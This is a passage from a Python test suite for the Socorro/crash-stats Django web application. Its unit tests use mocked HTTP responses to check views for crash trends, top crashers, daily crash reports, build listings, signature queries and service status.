["WaterWolf"], "hits": [ { "product": "WaterWolf", "version": "5.0a1", "release": "Release", "throttle": 10.0 } ], "total": "1" } """) raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get(url) eq_(response.status_code, 200) ok_('Nightly Crash Trends For Firefox' in response.content) response = self.client.get(unkown_product_url) eq_(response.status_code, 404) @mock.patch('requests.get') def test_crashtrends_versions_json(self, rget): url = reverse('crashstats.crashtrends_versions_json') def mocked_get(**options): if 'products' in options['url']: return Response(""" { "hits": [ { "sort": "1", "default_version": "5.0a1", "release_name": "waterwolf", "rapid_release_version": "5.0", "product_name": "WaterWolf" }], "total": "1" } """) raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get(url, {'product': 'Firefox'}) ok_('application/json' in response['content-type']) eq_(response.status_code, 200) ok_(response.content, ['20.0']) response = self.client.get(url, {'product': 'Thunderbird'}) eq_(response.status_code, 200) ok_(response.content, ['18.0', '19.0']) response = self.client.get(url, {'product': 'Unknown'}) ok_(response.content, []) @mock.patch('requests.get') def test_crashtrends_json(self, rget): url = reverse('crashstats.crashtrends_json') def mocked_get(url, **options): ok_('/start_date/2012-10-01/' in url) ok_('/end_date/2012-10-10/' in url) if 'crashtrends/' in url: return Response(""" { "crashtrends": [{ "build_date": "2012-10-10", "version_string": "5.0a1", "product_version_id": 1, "days_out": 6, "report_count": 144, "report_date": "2012-10-04", "product_name": "WaterWolf" }, { "build_date": "2012-10-06", "version_string": "5.0a1", "product_version_id": 1, "days_out": 2, "report_count": 162, "report_date": "2012-10-08", "product_name": "WaterWolf" }, { "build_date": "2012-09-29", "version_string": "5.0a1", "product_version_id": 1, "days_out": 5, "report_count": 144, "report_date": "2012-10-04", "product_name": "WaterWolf" }] } """) raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get(url, { 'product': 'Firefox', 'version': '20.0', 'start_date': '2012-10-01', 'end_date': '2012-10-10' }) ok_(response.status_code, 200) ok_('application/json' in response['content-type']) struct = json.loads(response.content) eq_(struct['total'], 2) # Test with product that does not have a nightly response = self.client.get(url, { 'product': 'SeaMonkey', 'version': '9.5', 'start_date': '2012-10-01', 'end_date': '2012-10-10' }) ok_(response.status_code, 400) ok_('text/html' in response['content-type']) ok_( 'SeaMonkey is not one of the available choices' in response.content ) @mock.patch('requests.post') @mock.patch('requests.get') def test_topcrasher(self, rget, rpost): # first without a version no_version_url = reverse('crashstats.topcrasher', args=('Firefox',)) url = reverse('crashstats.topcrasher', args=('Firefox', '19.0')) has_builds_url = reverse('crashstats.topcrasher', args=('Firefox', '19.0', 'build')) response = self.client.get(no_version_url) ok_(url in response['Location']) def mocked_post(**options): assert '/bugs/' in options['url'], options['url'] return Response(""" {"hits": [{"id": "123456789", "signature": "Something"}]} """) def mocked_get(url, **options): if 'crashes/signatures' in url: return Response(u""" {"crashes": [ { "count": 188, "mac_count": 66, "content_count": 0, "first_report": "2012-06-21", "startup_percent": 0.0, "currentRank": 0, "previousRank": 1, "first_report_exact": "2012-06-21T21:28:08", "versions": "2.0, 2.1, 3.0a2, 3.0b2, 3.1b1, 4.0a1, 4.0a2, 5.0a1", "percentOfTotal": 0.24258064516128999, "win_count": 56, "changeInPercentOfTotal": 0.011139597126354983, "linux_count": 66, "hang_count": 0, "signature": "FakeSignature1 \u7684 Japanese", "versions_count": 8, "changeInRank": 1, "plugin_count": 0, "previousPercentOfTotal": 0.23144104803493501, "is_gc_count": 10 } ], "totalPercentage": 0, "start_date": "2012-05-10", "end_date": "2012-05-24", "totalNumberOfCrashes": 0} """) if 'products/versions' in url: return Response(""" { "hits": [ { "is_featured": true, "throttle": 1.0, "end_date": "string", "start_date": "integer", "build_type": "string", "product": "Firefox", "version": "19.0", "has_builds": true }], "total": "1" } """) raise NotImplementedError(url) rpost.side_effect = mocked_post rget.side_effect = mocked_get response = self.client.get(url) eq_(response.status_code, 200) ok_('By Crash Date' in response.content) response = self.client.get(has_builds_url) eq_(response.status_code, 200) ok_('By Build Date' in response.content) # also, render the CSV response = self.client.get(url, {'format': 'csv'}) eq_(response.status_code, 200) ok_('text/csv' in response['Content-Type']) # know your fixtures :) ok_('Firefox' in response['Content-Disposition']) ok_('19.0' in response['Content-Disposition']) # we should be able unpack it reader = csv.reader(StringIO(response.content)) line1, line2 = reader eq_(line1[0], 'Rank') try: eq_(int(line2[0]), 1) except Exception: raise SkipTest # bytestring when exported as CSV with UTF-8 encoding eq_(line2[4], 'FakeSignature1 \xe7\x9a\x84 Japanese') @mock.patch('requests.post') @mock.patch('requests.get') def test_topcrasher_without_any_signatures(self, rget, rpost): # first without a version no_version_url = reverse('crashstats.topcrasher', args=('Firefox',)) url = reverse('crashstats.topcrasher', args=('Firefox', '19.0')) has_builds_url = reverse('crashstats.topcrasher', args=('Firefox', '19.0', 'build')) response = self.client.get(no_version_url) ok_(url in response['Location']) def mocked_post(**options): assert '/bugs/' in options['url'], options['url'] return Response(""" {"hits": [{"id": "123456789", "signature": "Something"}]} """) def mocked_get(url, **options): if 'crashes/signatures' in url: return Response(u""" {"crashes": [], "totalPercentage": 0, "start_date": "2012-05-10", "end_date": "2012-05-24", "totalNumberOfCrashes": 0} """) if 'products/versions' in url: return Response(""" { "hits": [ { "is_featured": true, "throttle": 1.0, "end_date": "string", "start_date": "integer", "build_type": "string", "product": "Firefox", "version": "19.0", "has_builds": true }], "total": "1" } """) raise NotImplementedError(url) rpost.side_effect = mocked_post rget.side_effect = mocked_get response = self.client.get(url) eq_(response.status_code, 200) ok_('By Crash Date' in response.content) response = self.client.get(has_builds_url) eq_(response.status_code, 200) ok_('By Build Date' in response.content) # also, render the CSV response = self.client.get(url, {'format': 'csv'}) eq_(response.status_code, 200) ok_('text/csv' in response['Content-Type']) # know your fixtures :) ok_('Firefox' in response['Content-Disposition']) ok_('19.0' in response['Content-Disposition']) # # no signatures, the CSV is empty apart from the header eq_(len(response.content.splitlines()), 1) reader = csv.reader(StringIO(response.content)) line1, = reader eq_(line1[0], 'Rank') @mock.patch('requests.get') def test_exploitable_crashes(self, rget): url = reverse('crashstats.exploitable_crashes') def mocked_get(url, **options): assert 'crashes/exploitability' in url return Response(""" { "hits": [ { "signature": "FakeSignature", "report_date": "2013-06-06", "high_count": 4, "medium_count": 3, "low_count": 2, "none_count": 1 } ], "total": 1 } """) rget.side_effect = mocked_get response = self.client.get(url) ok_(settings.LOGIN_URL in response['Location'] + '?next=%s' % url) ok_(response.status_code, 302) User.objects.create_user('test', 'test@mozilla.com', 'secret') assert self.client.login(username='test', password='secret') response = self.client.get(url) ok_(response.status_code, 200) @mock.patch('requests.get') def test_daily(self, rget): url = reverse('crashstats.daily') def mocked_get(url, **options): if 'products' in url: return Response(""" { "products": [ "Firefox", "Thunderbird" ], "hits": { "Firefox": [{ "featured": true, "throttle": 100.0, "end_date": "2012-11-27", "product": "Firefox", "release": "Nightly", "version": "19.0", "has_builds": true, "start_date": "2012-09-25" }], "Thunderbird": [{ "featured": true, "throttle": 100.0, "end_date": "2012-11-27", "product": "Thunderbird", "release": "Nightly", "version": "18.0", "has_builds": true, "start_date": "2012-09-25" }] }, "total": 2 } """) if 'crashes' in url: # This list needs to match the versions as done in the common # fixtures set up in setUp() above. return Response(""" { "hits": { "Firefox:20.0": { "2012-09-23": { "adu": 80388, "crash_hadu": 12.279, "date": "2012-08-23", "product": "Firefox", "report_count": 9871, "throttle": 0.1, "version": "20.0" } }, "Firefox:19.0": { "2012-08-23": { "adu": 80388, "crash_hadu": 12.279, "date": "2012-08-23", "product": "Firefox", "report_count": 9871, "throttle": 0.1, "version": "19.0" } }, "Firefox:18.0": { "2012-08-13": { "adu": 80388, "crash_hadu": 12.279, "date": "2012-08-23", "product": "Firefox", "report_count": 9871, "throttle": 0.1, "version": "18.0" } } } } """) raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get(url, { 'p': 'Firefox', 'v': ['20.0', '19.0'] }) eq_(response.status_code, 200) # XXX any basic tests with can do on response.content? ok_('18.0' in response.content.split('id="version3"')[1]. split("</select>")[0]) ok_('18.0' in response.content.split('id="version2"')[1]. split("</select>")[0]) ok_('18.0' in response.content.split('id="version1"')[1]. split("</select>")[0]) ok_('18.0' in response.content.split('id="version0"')[1]. split("</select>")[0]) # check that the CSV version is working too response = self.client.get(url, { 'p': 'Firefox', 'v': ['20.0', '19.0'], 'format': 'csv' }) eq_(response.status_code, 200) eq_(response['Content-Type'], 'text/csv') # also, I should be able to read it reader = csv.reader(response) # because response is an iterator that will return a blank line first # we skip till the next time rows = list(reader)[1:] ok_(rows) head_row = rows[0] eq_(head_row[0], 'Date') eq_(head_row[1:], [ 'Firefox 20.0 Crashes', 'Firefox 20.0 ADU', 'Firefox 20.0 Throttle', 'Firefox 20.0 Ratio', 'Firefox 19.0 Crashes', 'Firefox 19.0 ADU', 'Firefox 19.0 Throttle', 'Firefox 19.0 Ratio' ]) first_row = rows[1] eq_(first_row[0], '2012-09-23') @mock.patch('crashstats.crashstats.models.Platforms') @mock.patch('requests.get') def test_daily_by_os(self, rget, platforms_get): url = reverse('crashstats.daily') def mocked_get(url, **options): if 'products' in url: return Response(""" { "products": [ "Firefox", "Thunderbird" ], "hits": { "Firefox": [{ "featured": true, "throttle": 100.0, "end_date": "2012-11-27", "product": "Firefox", "release": "Nightly", "version": "19.0", "has_builds": true, "start_date": "2012-09-25" }], "Thunderbird": [{ "featured": true, "throttle": 100.0, "end_date": "2012-11-27", "product": "Thunderbird", "release": "Nightly", "version": "18.0", "has_builds": true, "start_date": "2012-09-25" }] }, "total": 2 } """) if 'crashes' in url: assert '/separated_by/os' in url, url assert '/os/Windows%2BAmiga' in url, url # %2B is a + # This list needs to match the versions as done in the common # fixtures set up in setUp() above. return Response(""" { "hits": { "Firefox:20.0:win": { "2012-09-23": { "os": "Windows", "adu": 80388, "crash_hadu": 12.279, "date": "2012-08-23", "product": "Firefox", "report_count": 9871, "throttle": 0.1, "version": "20.0" } }, "Firefox:20.0:ami": { "2012-09-23": { "os": "Amiga", "adu": 7377, "crash_hadu": 12.279, "date": "2012-08-23", "product": "Firefox", "report_count": 871, "throttle": 0.1, "version": "20.0" } } } } """) raise NotImplementedError(url) rget.side_effect = mocked_get def mocked_platforms_get(): return [ {'code': 'win', 'name': 'Windows'}, {'code': 'ami', 'name': 'Amiga'}, ] platforms_get().get.side_effect = mocked_platforms_get response = self.client.get(url, { 'p': 'Firefox', 'v': '20.0', 'form_selection': 'by_os' }) eq_(response.status_code, 200) # XXX any basic tests with can do on response.content? # check that the CSV version is working too response = self.client.get(url, { 'p': 'Firefox', 'v': '20.0', 'format': 'csv', 'form_selection': 'by_os' }) eq_(response.status_code, 200) eq_(response['Content-Type'], 'text/csv') # also, we should be able to read it reader = csv.reader(response) # because response is an iterator that will return a blank line first # we skip till the next time rows = list(reader)[1:] head_row = rows[0] first_row = rows[1] eq_(head_row[0], 'Date') eq_(head_row[1:], [ 'Firefox 20.0 on Windows Crashes', 'Firefox 20.0 on Windows ADU', 'Firefox 20.0 on Windows Throttle', 'Firefox 20.0 on Windows Ratio', 'Firefox 20.0 on Amiga Crashes', 'Firefox 20.0 on Amiga ADU', 'Firefox 20.0 on Amiga Throttle', 'Firefox 20.0 on Amiga Ratio' ]) eq_(first_row[0], '2012-09-23') def test_daily_legacy_redirect(self): url = reverse('crashstats.daily') response = self.client.get(url + '?p=Firefox&v[]=Something') eq_(response.status_code, 301) ok_('p=Firefox' in response['Location'].split('?')[1]) ok_('v=Something' in response['Location'].split('?')[1]) response = self.client.get(url + '?p=Firefox&os[]=Something&os[]=Else') eq_(response.status_code, 301) ok_('p=Firefox' in response['Location'].split('?')[1]) ok_('os=Something' in response['Location'].split('?')[1]) ok_('os=Else' in response['Location'].split('?')[1]) @mock.patch('requests.get') def test_daily_with_bad_input(self, rget): url = reverse('crashstats.daily') def mocked_get(url, **options): if 'products' in url: return Response(""" { "products": [ "Firefox", "Thunderbird" ], "hits": { "Firefox": [{ "featured": true, "throttle": 100.0, "end_date": "2012-11-27", "product": "Firefox", "release": "Nightly", "version": "19.0", "has_builds": true, "start_date": "2012-09-25" }], "Thunderbird": [{ "featured": true, "throttle": 100.0, "end_date": "2012-11-27", "product": "Thunderbird", "release": "Nightly", "version": "18.0", "has_builds": true, "start_date": "2012-09-25" }] }, "total": 2 } """) if 'crashes' in url: # This list needs to match the versions as done in the common # fixtures set up in setUp() above. return Response(""" { "hits": {} } """) raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get(url, { 'p': 'Firefox', 'date_start': u' \x00' }) eq_(response.status_code, 400) response = self.client.get(url, { 'p': 'Firefox', 'date_range_type': 'any old crap' }) eq_(response.status_code, 400) response = self.client.get(url, { 'p': 'Firefox', 'hang_type': 'any old crap' }) eq_(response.status_code, 400) response = self.client.get(url, { 'p': 'Firefox', 'format': 'csv', }) eq_(response.status_code, 200) eq_(response['Content-Type'], 'text/csv') # last sanity check response = self.client.get(url, { 'p': 'Firefox', }) eq_(response.status_code, 200) @mock.patch('requests.get') def test_builds(self, rget): url = reverse('crashstats.builds', args=('Firefox',)) rss_url = reverse('crashstats.buildsrss', args=('Firefox',)) def mocked_get(url, **options): if 'products/builds/product' in url: # Note that the last one isn't build_type==Nightly return Response(""" [ { "product": "Firefox", "repository": "dev", "buildid": 20120625000001, "beta_number": null, "platform": "Mac OS X", "version": "19.0", "date": "2012-06-25", "build_type": "Nightly" }, { "product": "Firefox", "repository": "dev", "buildid": 20120625000002, "beta_number": null, "platform": "Windows", "version": "19.0", "date": "2012-06-25", "build_type": "Nightly" }, { "product": "Firefox", "repository": "dev", "buildid": 20120625000003, "beta_number": null, "platform": "BeOS", "version": "5.0a1", "date": "2012-06-25", "build_type": "Beta" } ] """) raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get(url) eq_(response.status_code, 200) ok_('20120625000001' in response.content) ok_('20120625000002' in response.content) # the not, build_type==Nightly ok_('20120625000003' not in response.content) rss_response = self.client.get(rss_url) self.assertEquals(rss_response.status_code, 200) self.assertEquals(rss_response['Content-Type'], 'application/rss+xml; charset=utf-8') ok_('20120625000001' in rss_response.content) ok_('20120625000002' in rss_response.content) # the not, build_type==Nightly ok_('20120625000003' not in rss_response.content) @mock.patch('requests.get') def test_builds_by_old_version(self, rget): url = reverse('crashstats.builds', args=('Firefox', '18.0')) def mocked_get(url, **options): if 'products/builds/product' in url and 'version/18.0' in url: return Response(""" [ { "product": "Firefox", "repository": "dev", "buildid": 20120625000007, "beta_number": null, "platform": "Mac OS X", "version": "5.0a1", "date": "2012-06-25", "build_type": "Nightly" }, { "product": "Firefox", "repository": "dev", "buildid": 20120625000007, "beta_number": null, "platform": "Windows", "version": "5.0a1", "date": "2012-06-25", "build_type": "Nightly" } ] """) raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get(url) eq_(response.status_code, 200) header = response.content.split('<h2')[1].split('</h2>')[0] ok_('18.0' in header) @mock.patch('requests.post') @mock.patch('requests.get') def test_query(self, rget, rpost): def mocked_post(**options): assert 'bugs' in options['url'], options['url'] return Response(""" {"hits": [ { "id": "123456", "signature": "nsASDOMWindowEnumerator::GetNext()" } ], "total": 1 } """) def mocked_get(url, **options): assert 'search/signatures' in url if 'products/Firefox' in url: return Response("""{ "hits": [ { "count": 586, "signature": "nsASDOMWindowEnumerator::GetNext()", "numcontent": 0, "is_windows": 586, "is_linux": 0, "numplugin": 56, "is_mac": 0, "numhang": 0 }, { "count": 13, "signature": "mySignatureIsCool", "numcontent": 0, "is_windows": 10, "is_linux": 2, "numplugin": 0, "is_mac": 1, "numhang": 0 }, { "count": 2, "signature": "mineIsCoolerThanYours", "numcontent": 0, "is_windows": 0, "is_linux": 0, "numplugin": 0, "is_mac": 2, "numhang": 2 }, { "count": 2, "signature": null, "numcontent": 0, "is_windows": 0, "is_linux": 0, "numplugin": 0, "is_mac": 2, "numhang": 2 } ], "total": 4 } """) elif 'products/Thunderbird' in url: return Response('{"hits": [], "total": 0}') elif 'products/SeaMonkey' in url: self.assertTrue('plugin_search_mode/is_exactly' in url) return Response(""" {"hits": [ { "count": 586, "signature": "nsASDOMWindowEnumerator::GetNext()", "numcontent": 0, "is_windows": 586, "is_linux": 0, "numplugin": 533, "is_mac": 0, "numhang": 0, "pluginname": "superAddOn", "pluginfilename": "addon.dll", "pluginversion": "1.2.3" }], "total": 1 } """) else: return Response(""" {"hits": [ { "count": 586, "signature": "nsASDOMWindowEnumerator::GetNext()", "numcontent": 0, "is_windows": 586, "is_linux": 0, "numplugin": 0, "is_mac": 0, "numhang": 0 }], "total": 1 } """) raise NotImplementedError(url) rpost.side_effect = mocked_post rget.side_effect = mocked_get url = reverse('crashstats.query') response = self.client.get(url) eq_(response.status_code, 200) ok_('<h2>Query Results</h2>' not in response.content) ok_('table id="signatureList"' not in response.content) # Verify that the passed product is selected in search form response = self.client.get(url, {'product': 'Thunderbird'}) eq_(response.status_code, 200) ok_('<h2>Query Results</h2>' not in response.content) ok_('table id="signatureList"' not in response.content) ok_('value="Thunderbird" selected' in response.content) # Verify that the passed version is selected in nav response = self.client.get(url, { 'product': 'Thunderbird', 'version': 'Thunderbird:18.0' }) eq_(response.status_code, 200) ok_('<h2>Query Results</h2>' not in response.content) ok_('table id="signatureList"' not in response.content) # Because versions in the search form only gets set on DOM ready, # we here ensure that the version was passed and set by checking # that the correct version is selected in the versions drop-down. ok_('option value="18.0" selected' in response.content) response = self.client.get(url, { 'product': 'Firefox', 'date': '2012-01-01' }) eq_(response.status_code, 200) ok_('<h2>Query Results</h2>' in response.content) ok_('table id="signatureList"' in response.content) ok_('nsASDOMWindowEnumerator::GetNext()' in response.content) ok_('mySignatureIsCool' in response.content) ok_('mineIsCoolerThanYours' in response.content) ok_('(null signature)' in response.content) # Test that the default value for query_type is 'contains' ok_('<option value="contains" selected' in response.content) # Test with empty results response = self.client.get(url, { 'product': 'Thunderbird', 'date': '2012-01-01' }) eq_(response.status_code, 200) ok_('<h2>Query Results</h2>' in response.content) ok_('The maximum query date' not in response.content) ok_('table id="signatureList"' not in response.content) ok_('Results within' in response.content) ok_('No results were found' in response.content) response = self.client.get(url, {'query': 'nsASDOMWindowEnumerator'}) eq_(response.status_code, 200) ok_('<h2>Query Results</h2>' in response.content) ok_('table id="signatureList"' in response.content) ok_('nsASDOMWindowEnumerator::GetNext()' in response.content) ok_('123456' in response.content) # Test that the signature parameter is used as default value response = self.client.get(url, {'signature': 'myFunctionIsCool'}) eq_(response.status_code, 200) ok_('<h2>Query Results</h2>' not in response.content) ok_('table id="signatures-list"' not in response.content) ok_('value="myFunctionIsCool"' in response.content) # Test a simple search containing a crash id crash_id = '1234abcd-ef56-7890-ab12-abcdef123456' response = self.client.get(url, { 'query': crash_id, 'query_type': 'simple' }) eq_(response.status_code, 302) ok_(crash_id in response['Location']) # Test a simple search containing a crash id and spaces crash_id = ' 1234abcd-ef56-7890-ab12-abcdef123456 ' response = self.client.get(url, { 'query': crash_id, 'query_type': 'simple' }) eq_(response.status_code, 302) ok_(urllib.quote(crash_id) not in response['Location']) ok_(crash_id.strip() in response['Location']) # Test that null bytes break the page cleanly response = self.client.get(url, {'date': u' \x00'}) eq_(response.status_code, 400) ok_('<h2>Query Results</h2>' not in response.content) ok_('Enter a valid date/time' in response.content) # Test an out-of-range date range response = self.client.get(url, { 'query': 'js::', 'range_unit': 'weeks', 'range_value': 9 }) eq_(response.status_code, 200) ok_('The maximum query date' in response.content) ok_('name="range_value" value="%s"' % settings.QUERY_RANGE_DEFAULT_DAYS in response.content) ok_('value="days" selected' in response.content) # Test that do_query forces the query response = self.client.get(url, { 'do_query': 1, 'product': 'Firefox' }) eq_(response.status_code, 200) ok_('<h2>Query Results</h2>' in response.content) ok_('table id="signatureList"' in response.content) ok_('nsASDOMWindowEnumerator::GetNext()' in response.content) # Test that old query types are changed # Test that plugin data is displayed response = self.client.get(url, { 'do_query': 1, 'product': 'SeaMonkey', 'plugin_query_type': 'exact', 'process_type': 'plugin', }) eq_(response.status_code, 200) ok_('<h2>Query Results</h2>' in response.content) ok_('table id="signatureList"' in response.content) ok_('nsASDOMWindowEnumerator::GetNext()' in response.content) ok_('Plugin Filename' in response.content) ok_('Plugin Name/Ver' in response.content) ok_('addon.dll' in response.content) ok_('superAddOn 1.2.3' in response.content) # Test 'all' is an accepted value for report_type and hang_type response = self.client.get(url, { 'do_query': 1, 'product': 'Firefox', 'hang_type': 'all', 'process_type': 'all', }) eq_(response.status_code, 200) ok_('table id="signatureList"' in response.content) ok_('value="any" checked' in response.content) # Test defaut date expected = datetime.datetime.utcnow() response = self.client.get(url) eq_(response.status_code, 200) ok_(expected.strftime('%m/%d/%Y %H:00:00') in response.content) # Test passed date response = self.client.get(url, { 'date': '11/27/2085 10:10:10' }) eq_(response.status_code, 200) ok_('11/27/2085 10:10:10' in response.content) # Test value of build ids response = self.client.get(url, { 'build_id': '12345' }) eq_(response.status_code, 200) ok_('value="12345"' in response.content) response = self.client.get(url, { 'build_id': '12345,54321' }) eq_(response.status_code, 200) ok_('value="12345, 54321"' in response.content) @mock.patch('requests.post') @mock.patch('requests.get') def test_query_pagination(self, rget, rpost): def mocked_post(**options): return Response('{"hits": [], "total": 0}') def mocked_get(url, **options): assert 'search/signatures' in url response = ','.join(''' { "count": %(x)s, "signature": "sig%(x)s", "numcontent": 0, "is_windows": %(x)s, "is_linux": 0, "numplugin": 0, "is_mac": 0, "numhang": 0 } ''' % {'x': x} for x in range(150)) return Response('{"hits": [%s], "total": 150}' % response) rpost.side_effect = mocked_post rget.side_effect = mocked_get url = reverse('crashstats.query') response = self.client.get(url, {'do_query': 1}) eq_(response.status_code, 200) next_page_url = '%s?do_query=1&amp;page=2' % url ok_(next_page_url in response.content) @mock.patch('requests.post') @mock.patch('requests.get') def test_query_summary(self, rget, rpost): def mocked_post(**options): return Response('{"hits": [], "total": 0}') def mocked_get(url, **options): return Response('{"hits": [], "total": 0}') rpost.side_effect = mocked_post rget.side_effect = mocked_get url = reverse('crashstats.query') response = self.client.get(url, { 'query': 'test', 'query_type': 'contains' }) eq_(response.status_code, 200) ok_('Results within' in response.content) ok_("crash signature contains 'test'" in response.content) ok_('the crashing process was of any type' in response.content) response = self.client.get(url, { 'query': 'test', 'query_type': 'is_exactly', 'build_id': '1234567890', 'product': ['Firefox', 'Thunderbird'], 'version': ['Firefox:18.0'], 'platform': ['mac'], 'process_type': 'plugin', 'plugin_query_type': 'starts_with', 'plugin_query_field': 'filename', 'plugin_query': 'lib' }) eq_(response.status_code, 200) ok_('Results within' in response.content) ok_("crash signature is exactly 'test'" in response.content) ok_('product is one of Firefox, Thunderbird' in response.content) ok_('version is one of Firefox:18.0' in response.content) ok_('platform is one of Mac OS X' in response.content) ok_('for build 1234567890' in response.content) ok_('the crashing process was a plugin' in response.content) ok_('and its filename starts with lib' in response.content) @override_settings(SEARCH_MIDDLEWARE_IMPL='elasticsearch') @mock.patch('requests.post') @mock.patch('requests.get') def test_query_force_impl_settings(self, rget, rpost): def mocked_post(**options): return Response('{"hits": [], "total": 0}') def mocked_get(url, **options): ok_('_force_api_impl/elasticsearch' in url) return Response('{"hits": [], "total": 0}') rpost.side_effect = mocked_post rget.side_effect = mocked_get url = reverse('crashstats.query') response = self.client.get(url, { 'do_query': 1, }) eq_(response.status_code, 200) @mock.patch('requests.post') @mock.patch('requests.get') def test_query_force_impl_url(self, rget, rpost): def mocked_post(**options): return Response('{"hits": [], "total": 0}') def mocked_get(url, **options): ok_('_force_api_impl/postgres' in url) return Response('{"hits": [], "total": 0}') rpost.side_effect = mocked_post rget.side_effect = mocked_get url = reverse('crashstats.query') response = self.client.get(url, { 'do_query': 1, '_force_api_impl': 'postgres' }) eq_(response.status_code, 200) @override_settings(SEARCH_MIDDLEWARE_IMPL='mongodb') @mock.patch('requests.post') @mock.patch('requests.get') def test_query_force_impl_url_over_settings(self, rget, rpost): def mocked_post(**options): return Response('{"hits": [], "total": 0}') def mocked_get(url, **options): ok_('_force_api_impl/mysql' in url) return Response('{"hits": [], "total": 0}') rpost.side_effect = mocked_post rget.side_effect = mocked_get url = reverse('crashstats.query') response = self.client.get(url, { 'do_query': 1, '_force_api_impl': 'mysql' }) eq_(response.status_code, 200) @mock.patch('requests.get') def test_plot_signature(self, rget): def mocked_get(url, **options): if 'crashes/signature_history' in url: return Response(""" { "hits": [], "total": 0 } """) raise NotImplementedError(url) rget.side_effect = mocked_get # missing signature url = reverse('crashstats.plot_signature', args=('Firefox', '19.0', '2011-12-01', '2011-12-02', '')) response = self.client.get(url) eq_(response.status_code, 400) # invalid start date url = reverse('crashstats.plot_signature', args=('Firefox', '19.0', '2012-02-33', '2012-12-01', 'Read::Bytes')) response = self.client.get(url) eq_(response.status_code, 400) # invalid end date url = reverse('crashstats.plot_signature', args=('Firefox', '19.0', '2012-02-28', '2012-13-01', 'Read::Bytes')) response = self.client.get(url) eq_(response.status_code, 400) # valid dates url = reverse('crashstats.plot_signature', args=('Firefox', '19.0', '2011-12-01', '2011-12-02', 'Read::Bytes')) response = self.client.get(url) eq_(response.status_code, 200) ok_('application/json' in response['content-type']) struct = json.loads(response.content) ok_(struct['signature']) @mock.patch('requests.post') @mock.patch('requests.get') def test_topchangers(self, rget, rpost): url = reverse('crashstats.topchangers', args=('Firefox', '19.0')) bad_url = reverse('crashstats.topchangers', args=('SeaMonkey', '19.0')) bad_url2 = reverse('crashstats.topchangers', args=('Firefox', '19.999')) url_wo_version = reverse('crashstats.topchangers', args=('Firefox',)) def mocked_post(**options): assert 'by/signatures' in options['url'], options['url'] return Response(""" {"bug_associations": [{"bug_id": "123456789", "signature": "Something"}]} """) def mocked_get(url, **options): if 'crashes/signatures' in url: return Response(""" {"crashes": [ { "count": 188, "mac_count": 66, "content_count": 0, "first_report": "2012-06-21", "startup_percent": 0.0, "currentRank": 0, "previousRank": 1, "first_report_exact": "2012-06-21T21:28:08", "versions": "2.0, 2.1, 3.0a2, 3.0b2, 3.1b1, 4.0a1, 4.0a2, 5.0a1", "percentOfTotal": 0.24258064516128999, "win_count": 56, "changeInPercentOfTotal": 0.011139597126354983, "linux_count": 66, "hang_count": 0, "signature": "FakeSignature1", "versions_count": 8, "changeInRank": 0, "plugin_count": 0, "previousPercentOfTotal": 0.23144104803493501, "is_gc_count": 10 } ], "totalPercentage": 0, "start_date": "2012-05-10", "end_date": "2012-05-24", "totalNumberOfCrashes": 0} """) raise NotImplementedError(url) rpost.side_effect = mocked_post rget.side_effect = mocked_get response = self.client.get(url_wo_version) eq_(response.status_code, 200) # invalid version for the product name response = self.client.get(bad_url) eq_(response.status_code, 404) # invalid version for the product name response = self.client.get(bad_url2) eq_(response.status_code, 404) response = self.client.get(url) eq_(response.status_code, 200) @mock.patch('requests.get') def test_signature_summary(self, rget): def mocked_get(url, **options): if 'signaturesummary' in url: return Response(""" [ { "version_string": "12.0", "percentage": "48.440", "report_count": 52311, "product_name": "Firefox", "category": "XXX", "crashes": "1234", "installations": "5679", "null_count" : "456", "low_count": "789", "medium_count": "123", "high_count": "1200", "report_date": "2013-01-01" }, { "version_string": "13.0b4", "percentage": "9.244", "report_count": 9983, "product_name": "Firefox", "category": "YYY", "crashes": "3210", "installations": "9876", "null_count" : "123", "low_count": "456", "medium_count": "789", "high_count": "1100", "report_date": "2013-01-02" } ] """) raise NotImplementedError(url) url = reverse('crashstats.signature_summary') rget.side_effect = mocked_get response = self.client.get(url, {'range_value': '1', 'signature': 'sig', 'version': 'Firefox:19.0'}) eq_(response.status_code, 200) ok_('application/json' in response['content-type']) struct = json.loads(response.content) ok_(struct['architectures']) ok_(struct['flashVersions']) ok_(struct['percentageByOs']) ok_(struct['processTypes']) ok_(struct['productVersions']) ok_(struct['uptimeRange']) ok_(struct['distinctInstall']) ok_('exploitabilityScore' not in struct) User.objects.create_user('test', 'test@mozilla.com', 'secret') assert self.client.login(username='test', password='secret') response = self.client.get(url, {'range_value': '1', 'signature': 'sig', 'version': 'Firefox:19.0'}) eq_(response.status_code, 200) ok_('application/json' in response['content-type']) struct = json.loads(response.content) ok_(struct['exploitabilityScore']) @mock.patch('requests.get') def test_status(self, rget): def mocked_get(**options): assert 'status' in options['url'], options['url'] return Response(""" { "breakpad_revision": "1035", "hits": [ { "date_oldest_job_queued": "2012-09-28T20:39:33+00:00", "date_recently_completed": "2012-09-28T20:40:00+00:00", "processors_count": 1, "avg_wait_sec": 16.407, "waiting_job_count": 56, "date_created": "2012-09-28T20:40:02+00:00", "id": 410655, "avg_process_sec": 0.914149 }, { "date_oldest_job_queued": "2012-09-28T20:34:33+00:00", "date_recently_completed": "2012-09-28T20:35:00+00:00", "processors_count": 1, "avg_wait_sec": 13.8293, "waiting_job_count": 48, "date_created": "2012-09-28T20:35:01+00:00", "id": 410654, "avg_process_sec": 1.24177 }, { "date_oldest_job_queued": "2012-09-28T20:29:32+00:00", "date_recently_completed": "2012-09-28T20:30:01+00:00", "processors_count": 1, "avg_wait_sec": 14.8803, "waiting_job_count": 1, "date_created": "2012-09-28T20:30:01+00:00", "id": 410653, "avg_process_sec": 1.19637 } ], "total": 12, "socorro_revision": "017d7b3f7042ce76bc80949ae55b41d1e915ab62" } """) rget.side_effect = mocked_get url = reverse('crashstats.status') response = self.client.get(url) eq_(response.status_code, 200) ok_('017d7b3f7042ce76bc80949ae55b41d1e915ab62' in response.content) ok_('1035' in response.content) ok_('Sep 28 2012 20:30:01' in response.content) def test_login_required(self): url = reverse('crashstats.exploitable_crashes') response = self.client.get(url) eq_(response.status_code, 302) ok_(settings.LOGIN_URL in response['Location'] + '?next=%s' % url) @mock.patch('requests.get') def test_status_json(self, rget): def mocked_get(**options): assert 'status' in options['url'], options['url'] return Response(""" { "breakpad_revision": "1035", 